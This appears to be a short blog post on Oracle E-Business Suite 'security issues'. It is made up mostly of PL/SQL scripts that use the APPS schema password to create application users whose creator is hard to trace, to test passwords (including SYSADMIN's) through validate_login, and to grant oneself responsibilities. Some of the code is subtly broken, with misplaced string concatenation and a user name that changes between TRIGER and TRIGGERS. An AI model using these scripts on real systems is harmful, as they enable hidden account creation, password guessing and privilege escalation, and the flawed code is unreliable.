Security Issues

Security Issues

Oracle applications has some Security issues. I have identified some of Security issues in oracle applications. if you know apps schema password you can create the Oracle applications User and also validate the password.

1) The following is used to create the oracle application user from Apps Schema.

declare

usr_id varchar2(200);

ret varchar2(200);

begin

ret:=fnd_web_sec.create_user('TRIGER','Welcome1',usr_id);
if (ret is not null ) then

dbms_output.put_line('User has created '||usr_id);

else

dbms_output.put_line('User has creation failed due to ||'SQLERRM);

end if;

end;

Commit;

/

Here Username : TRIGER

Initial Password : Welcome1

In this case User_id and CREATED_BY both are same.So it is difficult to Others identify who has created this.

Use following query for more clarity

select * from fnd_user
where user_name like 'TRIGGERS%'

2) To Validate the Login and password

declare
ret varchar2(20);
Begin
ret:=fnd_web_sec.validate_login('TRIGGERS','Welcome1');
if ret='Y' then
dbms_output.put_line('Password is Correct');
else
dbms_output.put_line('Password is InCorrect');
end if;
end;

Same as you can attempt with SYSADMIN Password .

3) Use the following Script adding responsibilities from Apps schema

Using following Script you can Add required responsibilities yourself At APPS Schema.

DECLARE 

v_session_id INTEGER := userenv('sessionid');
v_user_name VARCHAR2(30) ;
l_resp_key varchar2(200);
l_resp_app varchar2(2000);
BEGIN
v_user_name :=UPPER('&user_name');
l_resp_key :=UPPER('&resp_key');
l_resp_app :=UPPER('&resp_short_name');

--SELECT 
--fa.APPLICATION_SHORT_NAME, 
--fr.RESPONSIBILITY_KEY, 
--fr.RESPONSIBILITY_NAME 
--FROM 
--FND_APPLICATION_vl fa, 
--fnd_responsibility_vl fr 
--WHERE 
--fa.application_id=fr.application_id 
--AND fr.RESPONSIBILITY_NAME like 'MRC, USD Payables%Reporting%'

---Using Above Query Get Application Shot name and Responsibility Key 

fnd_user_pkg.addresp 
(username => v_user_name 
,resp_app => l_resp_app 
,resp_key => l_resp_key 
,security_group => 'STANDARD' 
,description => 'Auto Assignment' 
,start_date => SYSDATE - 10 
,end_date => SYSDATE + 1000);

COMMIT;

dbms_output.put_line('Responsibily Added Successfully');

exception
when others then

dbms_output.put_line('Error While adding Responsibily'' 'SQLCODE' 'substr(SQLERRM, 1, 200));

Rollback;

END;

/

SHOW ERRORS;